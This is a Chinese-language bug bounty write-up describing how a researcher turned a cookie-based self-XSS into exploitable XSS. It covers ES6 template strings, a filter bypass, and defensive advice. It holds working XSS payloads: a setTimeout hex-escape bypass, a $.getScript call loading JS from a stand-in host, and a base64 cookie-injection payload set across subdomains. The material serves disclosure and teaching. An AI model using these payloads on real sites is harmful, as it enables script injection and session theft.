Bug Bounty:将Self-XSS转换为可利用的XSS
字数 1421 2025-08-26 22:11:15
从Self-XSS到可利用XSS的转换技术研究
1. 初始XSS漏洞发现与DOM访问问题
安全研究员Brian Hyde在Synack Red Teams的bug bounty平台中发现了一个反射性XSS漏洞,但在利用时遇到了以下问题:
- 页面过滤掉了包含
document.domain的payload上的括号 - 传统payload如
alert(document.domain)无法正常工作 - 使用反引号替代括号的payload如``alert `document.cookie```虽然能触发弹窗,但只显示文本而非实际DOM属性
2. JavaScript模板字符串技术详解
2.1 模板字符串基础
模板字符串(Template Strings/Literals)是ES6引入的重要特性:
- 使用反引号(
`)而非单/双引号定义 - 自Chrome 41和Firefox 34后广泛支持
- 成为AngularJS、KnockOutJS等MVVM框架的基础
基本语法示例:
var greeting = `Yo World!`;
2.2 字符串替换功能
模板字符串支持通过${}插入表达式:
变量插入:
var name = "Netsparker Turkey";
alert(`Welcome to ${name} Blog`);
函数调用:
var name = "Netsparker Turkey";
alert(`Welcome to ${name.toUpperCase()} Blog`);
function sayHello() {
return "welcome to Netsparker Blog!";
}
alert(`Dear guest, ${sayHello()}`);
转义反引号:
var hello = `\` is useful`;
alert(`${hello}`);
2.3 多行字符串处理
传统方式:
var greeting = "Yo \
World";
// 或
var greeting = "Yo " +
"World";
模板字符串方式更简洁:
console.log(`string text line 1
string text line 2`);
2.4 标记模板(Tagged Templates)
模板字符串可作为函数参数:
var message = tag`Hello world`;
// HTML编码示例
html`<p title="${title}">Hello ${you}!</p>`
3. 解决DOM访问问题的技术方案
Hyde使用以下方法绕过括号过滤并成功访问DOM:
setTimeout`alert\x28document.domain\x29`
技术要点:
- 利用
setTimeout函数注册反引号模板 - 使用十六进制转义
\x28表示左括号(,\x29表示右括号) - 这种方法使
document.domain属性值能正确显示而非文本
4. Self-XSS的发现与利用升级
4.1 Self-XSS的限制
Hyde在子域中发现Self-XSS漏洞,但存在以下限制:
- 需要修改cookie值才能利用
- 无法直接修改用户浏览器cookie
- 存在payload字符长度限制
4.2 跨子域cookie操作技术
关键发现:
- 域可以在所有子域上设置有效cookie
- 可以从子域覆盖主域上的cookie
4.3 利用方案实现
步骤1:使用已发现的XSS调用外部JS
$.getScript`//xss.example.com/xss.js`
步骤2:外部JS内容(实现cookie设置和重定向):
$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');
function setCookieRedir() {
document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
window.location = "https://example.com/vulnerablePage.html";
}
Cookie payload分析:
Base64解码值LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v对应:
--></script><script>alert(document.domain);//
5. 防御建议
-
输入过滤:
- 不仅要过滤括号,还需处理反引号、十六进制编码等变体
- 实现上下文相关的输出编码
-
Cookie安全:
- 设置
HttpOnly标志防止JS访问 - 合理设置
domain和path属性 - 考虑使用
SameSite属性
- 设置
-
内容安全策略(CSP):
- 限制外部脚本加载
- 禁止内联脚本执行
-
子域隔离:
- 关键业务使用独立域名而非子域
- 严格控制跨子域的cookie共享
6. 扩展阅读资源
- Cookie Based Self-XSS to Good XSS - Hyde的完整渗透过程
- Getting Literal With ES6 Template Strings - Addy Osmani关于模板字符串的深度解析
- XSS Filter Evasion Cheat Sheet - OWASP提供的XSS绕过技术大全